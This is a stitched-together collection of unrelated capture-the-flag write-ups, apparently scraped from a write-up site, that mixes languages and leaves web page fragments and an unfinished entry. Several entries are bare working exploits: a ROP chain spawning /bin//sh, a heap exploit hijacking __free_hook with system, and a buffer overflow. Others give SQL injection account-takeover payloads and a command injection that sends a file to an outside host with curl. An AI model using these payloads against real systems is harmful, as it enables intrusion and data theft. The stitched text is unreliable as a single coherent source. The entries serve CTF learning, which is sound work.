```javascriptfunction sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms));}
window.alert = function() { // Do nothing.};
for(var i=0; i<100; i++){ document.getElementById("button_11").click() await sleep(500); document.getElementById("button_10").click() await sleep(500); document.getElementById("button_02").click() await sleep(500); document.getElementById("button_01").click() await sleep(500); document.getElementById("button_20").click() await sleep(1000);}````
And run this via Chrome console, and after a while we got `Flag{S9ck3t_I0_set_by_Th3_EMPIRE_NIAHAHAHAHAHAHA_xD}` |
# NDH Qualif 2018: AssemblyMe## KeywordsWebAssembly - Javascript - Reverse
## Découverte du challengeAu lancement du chall, on tombe sur une simple page web avec un formulaire composé d'un text input et un bouton de validation.
Le code source révèle l'import d'un fichier JS supplémentaire (index.js) et la routine au clic sur le bouton de validation.
```<script src="index.js"></script><script> var button = document.getElementById('check');
button.addEventListener('click', function(){
u = document.getElementById("i").value; var a = Module.cwrap('checkAuth', 'string', ['string']); var b = a(u); document.getElementById("x").innerHTML = b; });</script>```<center>*Scrpt JS de la page*</center>
L'appel à la fonction Module.cwrap('checkAuth', 'string', ['string']) parait directement bien pour commencer le reverse. Une rapide recherche m'oriente vers le Web Assembly. J'en ai vite fait entendu parlé mais pervertir de l'ASM avec du JS m'a toujours semblé une hérésie.
On laisse de coté les préjugés et on ouvre la doc. Youpi .....
je précise que je n'avais aucune connaissance de WebASM avant de commencer ce chall. La méthodologie peut être foireuse comme jamais. 95% de mon temps à été perdu à cause du langage, de l'environnement, du debug et non pas pour le reverse de l'algo en temps que tel.
## RésolutionJe comprend donc que le fichier JS index.js doit être l'environnement permettant de gérer le WebASM. Je retrouve la trace de la fonction checkAuth dans la ligne suivant de ce fichier:```var _checkAuth = Module["_checkAuth"] = function() { return Module["asm"]["_checkAuth"].apply(null, arguments) };```
Plus qu'à trouver où est défini cette fonction. L'onglet debug des Developper Tools Firefox me montrent une ressource en wasm:// ce qui me parait plutot pas mal.
J'y trouve un format textuel de WebASM. En me concentrant toujours sur la fonction checkAuth, je retrouve la ligne suivante:```(export "_checkAuth" (func $func35))```
J'en conclu que le WebASM doit exporter des fonctions pour quelles soient utilisables dans la partie JS.
Une fois avoir compris que le WebASM se base sur une stack d'opérande et un semblant de buffer pour gérer la mémoire, il est assez facile de comprendre le fonctionnement de la fonction. Le corps de la fonction est dans les annexes.```checkAuth(p0): if(!func57(p0, 4, 1616)): if(!func57(p0 + 4, 4, 1638)): if(!func57(p0 + 8, 5, 1610)): if(!func57(p0 + 13, 4, 1598)): if(!func57(p0 + 17, 3, 1681)): if(!func57(p0 + 20, 9, 1654)): return 1690 // Something else```<center>*Pseudo code de la fonction checkAuth*</center>
La fonction semble faire une vérification partie par partie du mot de passe utilisateur donné en entrée.- p0 serait un pointeur vers l'entrée utilisateur.- func57 effectuerai une validation d'une portion de l'entrée utilisateur.- On remarque aussi que le deuxième paramètre de func57 est égale au décalage appliqué à l'entrée utilisateur lors du prochain appel. Cela pourrait être un nombre de bytes à valider.- La fin de la fonction n'a pas été étudié. Il me paraissait évident que l'on cherchait à atteindre le retour au bout de la suite de if.
Entre temps Geographer (Que je remercie), a réussi à compiler un tools de décompilation vers du C. J'ai pu continuer le reverse à partir de ce résultat (Lui aussi placé dans les annexes).
Après quelques formattages du code voici l'algorithme trouvé:```# Compare str referenced by pInput to str referenced by pGoal.# Stop when str pInput end (Null byte) or when maxLen char are comparedfunc57(pInput, pGoal, maxLen): while(*pInput): *pGoal maxLen -= 1 if(*pInput != *pGoal || maxLen == 0 || !*pGoal): break pGoal++ pInput++ return *pInput - *pGoal```<center>*Pseudo code de la fonction func57*</center>
La fonction effectue une simple comparaison entre les maxLen premiers bytes référencés par pInput et ceux par pGoal.
Il faut maintenant trouver ce qui est pointé lors des différents appels à func57. Le WebASM se base sur un buffer servant de mémoire. Après quelques recherches, je découvre qu'il est possible d'intérragir avec ce buffer depuis le JS.
Je vous ai passé le temps que j'ai passé sur le debugger des Developper Tools vu que je n'ai pas bien réussi à le faire fonctionner efficacement. Mais vu qu'il suffit d'accèder à l'état de la mémoire à une étape donnée, ce cas là était plus simple.
Un breakpoint posé dans le code JS juste avant l'appel à la fonction de validation permet de ne même pas entrer dans le code WebASM (Ce qui est une très bonne chose). De là la ligne JS new Int8Array(Module['buffer']) permet d'obtenir le contenu de la mémoire du programme WebASM.Pour plus de facilité, le contenu de chacune des parties du flag ont été récupérés via cette fonction:```function getStr(i){ var ret = ""; c = -1; while(c != 0){ c = buff[i]; i++; ret += c; } return ret;}```
En appelant cette fonction avec les index passés en deuxième paramètre de func57, on récupère le flag:```d51XPox)1S0xk5S11W_eKXK,,,xie```
# Annexes## Fonction de validation: checkAuth```(func $func35 (param $var0 i32) (result i32) (local $var1 i32) (local $var2 i32) get_global $global5 set_local $var1 get_global $global5 i32.const 16 i32.add set_global $global5 get_local $var1 set_local $var2 get_local $var0 i32.const 1616 i32.const 4 call $func57 i32.eqz if get_local $var0 i32.const 4 i32.add i32.const 1638 i32.const 4 call $func57 i32.eqz if get_local $var0 i32.const 8 i32.add i32.const 1610 i32.const 5 call $func57 i32.eqz if get_local $var0 i32.const 13 i32.add i32.const 1598 i32.const 4 call $func57 i32.eqz if get_local $var0 i32.const 17 i32.add i32.const 1681 i32.const 3 call $func57 i32.eqz if get_local $var0 i32.const 20 i32.add i32.const 1654 i32.const 9 call $func57 i32.eqz if get_local $var1 set_global $global5 i32.const 1690 return end end end end end end i32.const 1396 get_local $var0 get_local $var0 call $func45 call $func57 i32.eqz if get_local $var1 set_global $global5 i32.const 1761 return end i32.const 1747 get_local $var2 call $func77 drop get_local $var1 set_global $global5 i32.const 1761)```
## Fonction de validation de partie du mot de passe: func57```static u32 f57(u32 p0, u32 p1, u32 p2) { u32 l0 = 0, l1 = 0; FUNC_PROLOGUE; u32 i0, i1, i2, i3; i0 = p2; if (i0) { i0 = p0; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l0 = i0; l0 = currentChar if (i0) { i0 = p0; l1 = i0; i0 = l0; p0 = i0; L3: i0 = p0; i1 = 24u; i0 <<= (i1 & 31); i1 = 24u; i0 = (u32)((s32)i0 >> (i1 & 31)); i1 = p1; i1 = i32_load8_s(Z_envZ_memory, (u64)(i1)); l0 = i1; i0 = i0 == i1; i1 = p2; i2 = 4294967295u; i1 += i2; p2 = i1; i2 = 0u; i1 = i1 != i2; i2 = l0; i3 = 0u; i2 = i2 != i3; i1 &= i2; i0 &= i1; i0 = !(i0); if (i0) {goto B1;} i0 = p1; i1 = 1u; i0 += i1; p1 = i0; i0 = l1; i1 = 1u; i0 += i1; l1 = i0; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); p0 = i0; if (i0) {goto L3;} i0 = 0u; p0 = i0; } else { i0 = 0u; p0 = i0; } B1:; i0 = p0; i1 = 255u; i0 &= i1; i1 = p1; i1 = i32_load8_u(Z_envZ_memory, (u64)(i1)); i0 -= i1; } else { i0 = 0u; } p0 = i0; FUNC_EPILOGUE; return i0;}``` |
`template.sql` was provided with the following contents
```DROP TABLE users;CREATE TABLE users (id INT AUTO_INCREMENT, name VARCHAR(55), username VARCHAR(55) UNIQUE, password VARCHAR(55), PRIMARY KEY (id));INSERT INTO users (name, username, password) VALUES ('root', 'root', '{{env:ADMIN_PASSWORD}}');```
We know that our goal is to either retrieve root's password or hack into root's account. After testing, the register functionality. It was evident that password parameter was vulnerable to SQL Injection on `INSERT` statement. The website displayed `name` of the user after they login. So, first idea was to retrieve from database and dump at the `name` field. Hence, our initial test payload is
```'),((select version()),'ja','oo```This will register a username with `ja:oo` credentials and once you login you will see `5.7.21` which is evaluated mysql's version()
Subsequent idea was to select the password from users table for `root` and dump it. Hence, payload looks as
```'),((select password from users ASy limit 1),'ja','oo```
Locally, this will work fine (assuming root has the id=1). But remotely it fails. Hence, it looks the setup is bit different compared to our local setup. 200 points worth challenge; they won't give it that easy ! After subsequent attempts, it looked like `REVOKE` on `SELECT` for tables. Hence, general SELECT'ion attempts are futile.
Next idea, is to overtake root's account. Goal is to `UPDATE` the root's password. As we already know that `username` field is UNIQUE. We can utilise[ ON DUPLICATE](https://dev.mysql.com/doc/refman/5.7/en/insert-on-duplicate.html) .
Hence, the payload is (fits the char limit too)
```'),('','root','z')ON DUPLICATE KEY UPDATE password='l'#```
This will look if any `username` has already `root` entry and if it finds then it UPDATE's the password to `l` . Weird Weird SQL. Then you may login with `root:l` and enjoy the flag
`midnight{dub_i_dub_i_dub_i_dubdubdub_dub_i_dub_i_dub_i_yeah_yeah}`
tl;dr [version](https://twitter.com/aaditya_purani/status/985570104707637248) |
# Pwndoor - Rev (150 + 0), 5 solves
> We found this implant on some of our servers, help us figure it out!
In this task, we were given a small binary and host on which it was running. Note that we did not have a port,we had to figure it out ourselves.
The binary is rather small. It first creates a raw socket, attaches a BPF filter to it, and then waits for anypacket matching the filter to arrive. Then it sends the flag to the sender ip, on TCP port 4444.
The only difficult thing there is to analyze the BPF filter. The tooling surrounding it is in pretty bad condition -we were not able to find a disassembler that would work correctly. In the end, we used the same approach as inhttp://www.gnoobz.com/hitb-ctf-2016-binary-300.html, that is using `/proc/sys/net/core/bpf_jit_enable`, which would translate the BPF tox64 code and dump it in `dmesg` output.
Reverse engineering that wasn't too different from any other RE challenge. There were a couple of arithmeticchecks on a couple of bytes of the packet. From these, we could conclude:- it has EtherType = 0x800, that is, it's IPv4,- it has protocol type = 17, i.e. UDP,- UDP port = 3333,- packet data must contain a certain text.
From the packet data structure, we guessed it is a DNS packet (it had a couple of constants identical to DNS).The finally accepted packet was then generated by: `dig @34.245.139.8 -p 3333 'M4d!bKn3~l' TXT`, which aftersending, caused the server to call us back on TCP port 4444. |
Arbitrary shell commands can be created by using only punctuation in a service that filters all characters except for punctuation.
Mirror here: https://nusgreyhats.org/write-ups/hitbgsecquals2018-readfile/ |
# Lone authot (forensics)
In the task we get a [zip file](lone_author.zip) which seems corrupted.We notice that the PK headers are not right.It should always be `04034b50` and in our case the 3rd byte is wrong.We also notice that it's not any accidental flip.Once we extract all wrong headers we can see a pattern:
```PKFPKlPKaPKgPK{PKMPK3PK3PKtPK_MPK3PK_1```
So we've got a flag prefix -> `Flag{M33t_M3_1`
Once we fix those headers, we can finally extract the archive and we get [password protected zip](secret.zip) and [a piece of qr code](qr_ps.tif).We initially thought we have to somehow fix the QR, but it turned out that in metadata there is:
`<pdf:Author>Password to the second part is 0xNOX**</pdf:Author>`
We used this password on the zip archive we got, and we managed to extract the file:
This makes up the whole flag: `Flag{M33t_M3_1n_tHe_p4RK_T0mOrrOW}` |
# VolgaCTF Quals 2018 : Old government site
**Team:** NOPS**Category:** Web**Points:** 150**Description:** It's an old government web-site. Please, don't touch it. It works properly.
## Write-up
After connecting to the website, you have access to some links, no forms. Nevertheless we saw that pages are fetched with an id: `http://old-government-site.quals.2018.volgactf.ru:8080/page?id=33`
We run a script to see if there were some hidden pages and found one with the id: `id=18`
It asks us to enter a website.If you enter a correct website like http://google.com you have a string showing `validated` whereas is you only put google.com, it shows `error`.
When you enter a correct website, the server does a GET request on it.
So we played a bit with this field and found out that `/etc` is a correct website. We then tried with the linux filesystem `/var` and some linux commands `/bin/ls` etc and finally, we tried `/flag`. It worked. Nice, maybe it's where the flag is, but how can we access it ?
Up to now, we know that the script behind is executing the command we give or send a GET request on the url.
We also know that the framework used for the website is Sinatra. if you request an unknow web page, it gives you an error.Sinatra is in ruby.
So we have to find a function in ruby that could open a file or a URL.
We found open-uri and the vulnerabilities related to it: [sakurity.com](https://sakurity.com/blog/2015/02/28/openuri.html)
Let's try a `| ls` : it's validated. We've got a command injection. Let's craft our command so it can read the /flag file and send it to a server: `|curl -d "$(cat /flag)" -X POST http://ptsv2.com/t/3awt7-1521988385/post` (we use ptsv2 website to inspect the content of the HTTP requests)
Bingo ! We've got out flag ! |
First lets start a binary.chmod +x penguin./penguinAnd we got :GIB FLAG PLZ (./ezpz "WPI{some_flag_here}").Lets give it flag../penguin "WPI{123}"
WRONG
Lets watch how it works in ltrace.ltrace ./penguin "WPI{123}"
strlen("WPI{") = 4strncmp("WPI{", "WPI{123}", 4) = 0strlen("strings_") = 8strncmp("strings_", "123}", 8) = 66puts("WRONG"WRONG) = 6+++ exited (status 0) +++
Lets try WPI{strings_123}.
ltrace ./penguin WPI{strings_123}
strlen("WPI{") = 4strncmp("WPI{", "WPI{strings_123}", 4) = 0strlen("strings_") = 8strncmp("strings_", "strings_123}", 8) = 0strlen("only_") = 5strncmp("only_", "123}", 5) = 62puts("WRONG"WRONG) = 6+++ exited (status 0) +++We know what program will get parts of the flag and compare it with real.After several times we got : |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>N1CTF</span></span><span>/</span><span><span>Crypto</span></span><span>/</span>baby_N1ES<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>N1CTF</span></span><span>/</span><span><span>Crypto</span></span><span>/</span>baby_N1ES<span>/</span></div>
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Players were given a url and port to connect with. When connecting with nc, the service returned the c source for a program. This program asked the user for an input number, did multiple rounds of math on it, and compared it to a constant. If the calculated result matched the constant, it would print a win condition. The particulars are randomized each round.
Each round of math consistend of one of the following:- Mod a constant (done initially)- Addition mod that constant- Subtraction mod that constant- Multiplication mod that constant
Of those, the first three are easy to reverse. The issue is with the multiplication case. Thankfully, I noticed the constant is always prime, allowing for us to use fermat's little theorem to find the inverse.
```from pwn import *
def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y)
def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m
r = remote("bitpuzzler.wpictf.xyz", 31337)for round in range(82): print r.recvuntil("-----") temp = r.recvuntil("-----") print temp print round, "read 1 done" ops = [] end_comp = -1 first_mod = -1 sec_mod = -1
for i in temp.splitlines(): #if len if "x %" in i: first_mod = int(i.split()[5][:-1]) elif "v +" in i: sec_mod = int(i.split()[3][:-1]) elif "pmod(x" in i: statements = i.split(";") for j in statements: temp = j.split() if len(temp) == 0: continue #print temp op = temp[-2] num = temp[-1][:-1] #print op, num if len(temp) == 3: ops += [(None, None)] else: ops += [(op, int(num))] elif "==" in i: num = i.split()[2][:-1] end_comp = int(num) print "Starting Math" #Not that relevant a check assert first_mod == sec_mod temp = end_comp for i in reversed(ops): op = i[0] num = i[1] if op == "+": temp = (temp - num) % first_mod elif op == "-": temp = (temp + num) % first_mod elif op == "*": #plz work fermat little theorum that I totally didn't just google inv = pow(num, first_mod - 2, first_mod) temp = (temp * inv) % first_mod print "got ",temp r.send(str(temp) + "\n") print r.recvuntil("CORRECT!")r.interactive()``` |
The `h4mc.py` service essentially accepts a `message` and returns
sha256((key ⊕ message) + message)
Where ⊕ is bitwise XOR and `+` is bitwise addition
Suppose `key = 01100001` and our `message = 00000000`, then
key = 01100001 message = 00000000 key ⊕ message = 01100001 (key ⊕ message) + message = 01100001
That is `(key ⊕ message) + message = key`
So immediately we can get `sha256(key)`.However, this is not particularly useful on it's own, as it would be computationally intractible to find the 'preimage' of the hash.
However suppose Suppose `key = 01100001` and our `message = 00000001`.Notice how `message` matches `key` on the `0`th bit.Then
key = 01100001 message = 00000001 key ⊕ message = 01100000 (key ⊕ message) + message = 01100001
So because the `0`th bit `message` matched the `0`th bit of `key`, `(key ⊕ message) + message = key` again.
We now have the kernel of an algorithm for inferring `key` by testing the `i`th bit of `key`.If the `sha256` of our test of the `i`th bit is equal to `sha256(key)`, we can infer that the `i`th bit of `key` is set.Otherwise the `i`th bit of `key` is not set.
The exploiable flaw in the toy implementation of an 'HMAC' is that the `+` should be concatenation, not bitwise addition.
`hm4c_solution.py` connects to a `hm4c.py` service, either locally or remotely, and tests each bit until the entire `key` has been inferred. View code [here](https://github.com/newjam/hm4c) and here:
```from pwn import process, remotefrom base64 import b64encodefrom hashlib import sha256from string import printablefrom functools import partialfrom itertools import count, islice, izip, tee, takewhile, imap
def get_digest_from_tube(io, x): io.recvuntil('Quit\n') io.sendline('1') io.recvline() io.sendline(b64encode(x)) return int(io.recvline())
def matches(get_digest): # get the sha256 of the flag by digesting 0 key_hash = get_digest('\x00')
key = 0 for i in count(): # get sha256((flag ^ 2**i) + 2^i) from the server digest = get_digest(from_int(2**i)) # test if the ith bit is set in the flag and it to the key if it is if digest == key_hash: key = key ^ 2**i # if we have tested a multiple of 8 bits, yield the answer so far if i % 8 == 0: yield from_int(key)
def main(): print('Starting to pwn') # io = remote('crypto.midnightsunctf.se', 31337) io = process(['python', 'hm4c.py']) get_digest = partial(get_digest_from_tube, io)
curr, prev = tee(matches(get_digest)) prev = islice(prev, 1, None) not_equal = lambda (x, y): x != y second = lambda (x, y): y
# keep printing the partial flag until we have found the entire flag for x in imap(second, takewhile(not_equal, izip(curr, prev))): print(x)
def from_int(i): ''' inverse of the to_int function on the server ''' h = hex(i)[2:] h = h if len(h) % 2 == 0 else '0' + h return h.decode('hex')
if __name__ == "__main__": main()``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>sunshinectf</span></span><span>/</span>Hexalicious<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>sunshinectf</span></span><span>/</span>Hexalicious<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/phieulang1993/ctf-writeups/tree-commit/1aff10a64dd9f17c9b6a900ea0118915f000a246/2018/sunshinectf/Hexalicious" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Hexalicious.py</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>hexalicious</span> </div>
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|
The question was about getting the input to make a block header hash:https://blockchain.info/block/0000000000000000000854f801e84750ffa9aaa97e74c36e975df3fa2ad5627c
The idea was to get version, previous block hash, merkle root hash, timestamp, bits and nonce, all in hex and little-endian.
Solution made in python and on URL. |
Self-modifying executable with 3-layer substitution cipher hiding the key. GDB past the self-modifying executable and create a lookup table for the flag. |
English: https://github.com/adanalvarez/CTF/blob/master/TheVault-SwampCTF2018/README.md
Spanish: https://donttouchmy.net/writeup-vault-swampctf-2018-sha256/`` |
```#!/usr/bin/env python
from pwn import *
#r = process("./encoder")r = remote("54.38.137.181",3333)
payload = 'AAAAZZZZEEEERRRRTTTTYYYYUUUUIIIIOOOOPPPPQQQQSSSSDDDDFFFF'
payload += p32(0x0806eb1a)payload += p32(0x080ea060) payload += p32(0x080bb156) payload += '/bin'payload += p32(0x0809a46d) payload += p32(0x0806eb1a) payload += p32(0x080ea064) payload += p32(0x080bb156) payload += '//sh'payload += p32(0x0809a46d) payload += p32(0x0806eb1a) payload += p32(0x080ea068) payload += p32(0x08054420) payload += p32(0x0809a46d) payload += p32(0x080481c9) payload += p32(0x080ea060) payload += p32(0x0806eb41)payload += p32(0x080ea068) payload += p32(0x080ea060) payload += p32(0x0806eb1a) payload += p32(0x080ea068) payload += p32(0x08054420) payload += p32(0x0807b56f) payload += p32(0x0807b56f) payload += p32(0x0807b56f) payload += p32(0x0807b56f) payload += p32(0x0807b56f)payload += p32(0x0807b56f) payload += p32(0x0807b56f)payload += p32(0x0807b56f) payload += p32(0x0807b56f) payload += p32(0x0807b56f) payload += p32(0x0807b56f) payload += p32(0x08049421)
r.recvuntil("encoder!")r.sendline(payload)r.interactive()``` |
EZPZ, Pwn, 100pts==================
Problem--------nc ezpz.wpictf.xyz 31337
Solution--------We run the following script -
```pythonfrom pwn import *
r = remote('ezpz.wpictf.xyz', 31337)
msg = r.recvline()print(msg)address = int(msg.split(' ')[1], 16) # 16 for hexr.recvline()
buf = 'A'*0x88buf += p64(address)r.sendline(buf)
r.interactive()```
This gives the flag - `WPI{3uffer_0verflows_r_ezpz_l3mon_5queazy}`.
Shell-JAIL-1, Pwn, 150pts==========================
Problem--------Download the login private key, then run:
ssh -p 31337 -i login [email protected]
redundant servers on 31338 and 31339
Solution---------The solution was to not use "\*", "sh", "/", "home", "pc_owner", "flag", "txt" in the command to display flag.txt.
So we run - `./access "cat ????.???"`
The flag is - `wpi{MaNY_WayS_T0_r3Ad}`.
Penguin, Reversing, 50pts=========================
Problem-------Find flag.
Solution--------
We use ltrace to see program flow.
Running `ltrace WPI{1}`
Gives output - 
So we keep doing that, and finally get the flag - `WPI{strings_only_gives_you_wings,_you_still_have_to_learn_how_to_fly._try_hexedit}`. |
There is an login form on the page, and registration is disabled.
1. trying clientname = 'or'1'='1 and any password, we got Invalid password for ' or '1'='1; trying arbitrary clientname, we got No such user in the database. So the SQLi obviously works on clientname field, but the password is checked via other means.
2. Now trying clientname=', we got sql error. clicking on the messages we got a piece of code:``` connection = sqlite3.connect(os.path.join(directoryFordata, 'clients.db')) pointer = connection.cursor() search = """SELECT id, hash, salt FROM clients WHERE clientname = '{0}' LIMIT 1""".format(clientname) pointer.execute(search) res = pointer.fetchone() if not res: return "No such user in the database {0}!\n".format(clientname) userID, hash, salt = res```
3. Trying clientname=abc' UNION SELECT 1,1,1;--, we got another error, and another piece of page:``` res = pointer.fetchone() if not res: return "No such user in the database {0}!\n".format(clientname) userID, hash, salt = res calculatedHash = hashlib.sha256(password + salt) if calculatedHash.hexdigest() != hash: return "Invalid password for {0}!\n".format(clientname) flask.session['userID'] = userID return flask.redirect('/')``` combine 2 and 3, we can have a clear image on the authentication process.
4. Now we can inject our own credentials: compute hash=hashlib.sha256('1' + '1') > clientname = ' UNION SELECT 1, hash, '1';-- > > password = 1 OK. Logged in! But the secret is useless.
5. Remember the notes on the home page? Goutham got a password! > clientname = ' UNION SELECT id, hash, '1' FROM clients WHERE clientname = '';-- > > password = 1
Flag revealed! > Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}" |
```from pwn import *context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']
#p = process('./once')p = remote("47.75.189.102", 9999)b = ELF('./once')l = ELF('libc-2.23.so')
"""gdb.attach(p, '''boff 0xf88tracemalloc on''')"""
def create(): p.send("1\x00") return p.recvuntil("> ")
#puts addrp.recvuntil("> ")p.sendline("10")puts = p.recvuntil("> ").split('\n')[1].replace('> ', '')puts = int(puts, 0)log.info("puts @: " + hex(puts))libcbase = puts - l.symbols['puts']free_hook = libcbase + l.symbols['__free_hook']log.info("__free_hook @: " + hex(free_hook))system = libcbase + l.symbols['system']binsh = libcbase + 0x18cd57log.info("system @: " + hex(system))stdout = libcbase + l.symbols['_IO_2_1_stdout_']stdin = libcbase + l.symbols['_IO_2_1_stdin_']
p.sendline("4")p.recvuntil("> ")p.sendline("1")p.recvuntil("input size:\n")p.sendline("232")p.recvuntil("> ")p.sendline("4")p.recvuntil("> ")
create()
p.send("2" + "\x00"*7)p.send(p64(0)*3 + "\x58")p.recvuntil("> ")
p.sendline("3" + "\x00"*3)p.recvuntil("> ")
p.sendline("4")p.recvuntil("> ")p.sendline("2")p.send("/bin//sh" + p64(0)*2 + p64(free_hook) + p64(stdout) + p64(0) + p64(stdin) + p64(0)*2)p.recvuntil("> ")
p.sendline("4")p.recvuntil("> ")p.send("2" + "\x00"*7)p.sendline(p64(system))p.recvuntil("> ")
p.sendline("4")p.recvuntil("> ")p.sendline("3")
p.interactive()
``` |
```from pwn import *
#r = process("./checker")r = remote("54.38.137.181",5555)pause()
r.recvuntil(":")a= "AAAAZZZZEEEERRRR"+p32(0x0) # set read to 0
r.send(a) r.sendline("new_license")r.interactive()``` |
**No files provided**
**Description**
> nc sneakers.wpictf.xyz 31337> > redundant servers on 31338 and 31339> > made by rm -k> > Hint: ?v=F5bAa6gFvLs
**Solution**
The hint is for [this video](https://www.youtube.com/watch?v=F5bAa6gFvLs).
After `nc sneakers.wpictf.xyz 31337`, we are greeted with a big block of 1's and 0's:
00 01 10 10 11 10 11 10 00 01 10 00 01 10 10 00 10 10 10 01 00 11 01 10 00 01 00 01 00 11 01 00 11 11 01 00 10 11 00 10 01 01 00 10 00 10 10 00 00 10 10 00 10 00 00 00 00 10 00 00
10 10 10 00 01 10 10 11 01 11 10 10 00 00 00 01 00 10 10 00 10 10 01 00 11 01 11 00 10 01 00 10 11 00 00 10 00 10 10 00 10 10 00 00 10 00 10 10 00 10 00 10 10 00 01 00 10 10 10 00
10 11 10 11 00 11 01 10 10 00 11 10 10 00 01 10 10 00 11 10 01 01 10 01 00 11 10 10 01 00 01 01 00 00 11 11 01 00 10 10 10 10 10 11 00 00 00 11 00 00 11 10 11 00 10 00 00 00 00 10
10 11 00 01 11 00 11 10 10 00 11 10 11 00 11 10 10 10 10 00 00 11 00 10 10 00 01 01 00 00 00 00 01 00 10 11 01 10 01 00 00 00 00 00 00 00 11 10 11 00 00 00 10 00 10 10 10 11 00 00
01 10 10 01 00 11 10 10 00 10 10 10 00 10 01 01 10 10 10 10 11 11 00 11 00 01 01 00 00 00 11 01 00 10 10 10 00 00 10 10 10 00 00 10 00 11 10 11 00 00 10 00 00 11 00 10 11 00 10 10
11 00 01 11 11 10 01 10 10 11 00 00 00 11 10 10 10 01 10 00 01 00 10 00 10 00 10 11 01 01 11 00 00 10 10 01 00 10 01 00 11 00 00 10 10 00 00 10 00 00 01 00 01 10 10 00 00 10 00 00
01 11 11 10 00 00 11 10 11 01 01 11 10 10 00 00 01 11 00 10 11 01 10 01 00 00 00 01 01 11 10 01 00 01 00 00 10 01 00 10 10 11 10 00 00 10 00 10 10 10 00 10 11 00 10 00 00 10 00 00
10 10 01 10 10 10 00 01 10 00 10 10 11 01 11 00 00 00 10 10 11 00 10 10 10 01 00 11 01 00 10 01 11 10 01 11 00 00 11 01 10 00 00 10 10 00 00 10 10 00 00 00 00 00 10 01 00 01 00 10
01 00 01 10 00 01 10 01 01 10 00 10 00 10 10 01 11 10 11 01 11 00 11 01 00 11 11 10 11 01 00 00 00 11 01 10 10 01 01 10 01 00 10 10 00 01 10 00 10 00 00 00 00 10 00 10 10 10 10 10
10 00 00 00 01 10 01 01 10 00 10 10 11 10 00 10 10 01 00 10 01 00 00 00 11 11 10 11 01 00 01 00 00 11 00 11 01 11 00 01 00 11 00 01 01 10 00 10 00 00 00 00 00 00 00 10 10 01 00 10
11 00 10 10 10 01 10 10 10 00 10 01 00 01 01 00 01 00 10 11 10 00 10 11 00 10 10 10 01 00 00 10 00 01 11 00 10 00 00 01 00 00 00 10 00 00 10 10 00 00 00 10 00 11 00 10 10 00 00 10
11 00 01 10 00 01 00 00 01 10 10 11 00 11 10 10 11 10 00 10 01 00 01 00 00 10 10 00 11 11 01 01 00 10 10 00 00 01 00 00 00 00 11 00 10 10 00 00 10 00 00 10 00 10 10 00 00 00 00 00
11 00 00 11 00 00 10 01 00 01 10 10 00 10 11 11 00 10 11 00 01 00 00 00 00 00 00 11 00 11 11 01 00 01 01 01 00 01 10 00 10 00 10 11 10 00 00 10 00 10 00 00 00 00 10 00 00 10 00 00
01 10 10 00 10 10 01 00 00 00 01 10 01 01 00 11 10 10 11 01 11 11 01 00 11 01 11 11 00 00 11 11 10 10 00 00 01 00 01 10 10 00 00 00 10 10 01 01 00 01 10 00 00 10 00 10 00 00 10 10
00 01 10 10 01 00 10 10 10 00 01 10 10 10 10 00 10 10 01 01 00 11 11 00 11 00 00 10 10 00 11 11 11 01 01 00 11 01 11 10 00 10 00 00 10 00 00 10 10 00 10 00 10 00 00 00 10 10 01 10
00 10 10 10 00 01 10 01 01 01 10 11 00 10 11 00 10 00 01 01 00 00 11 01 00 11 11 10 11 11 01 01 00 01 01 00 00 00 10 10 00 00 10 00 00 01 10 00 10 10 00 10 00 10 10 00 00 00 10 00
11 11 10 10 00 10 01 11 10 00 10 11 00 01 11 11 10 01 00 00 01 11 10 01 00 10 10 01 01 00 01 10 00 10 01 10 00 11 10 00 10 00 10 00 00 10 00 10 00 00 10 00 00 00 10 10 11 10 00 00
01 11 00 01 10 10 00 11 10 10 11 00 00 00 00 11 00 00 00 11 10 01 00 11 11 01 00 10 01 11 00 00 11 11 11 00 11 11 11 00 00 10 00 10 00 00 00 00 10 10 10 00 01 01 01 11 01 01 01 11
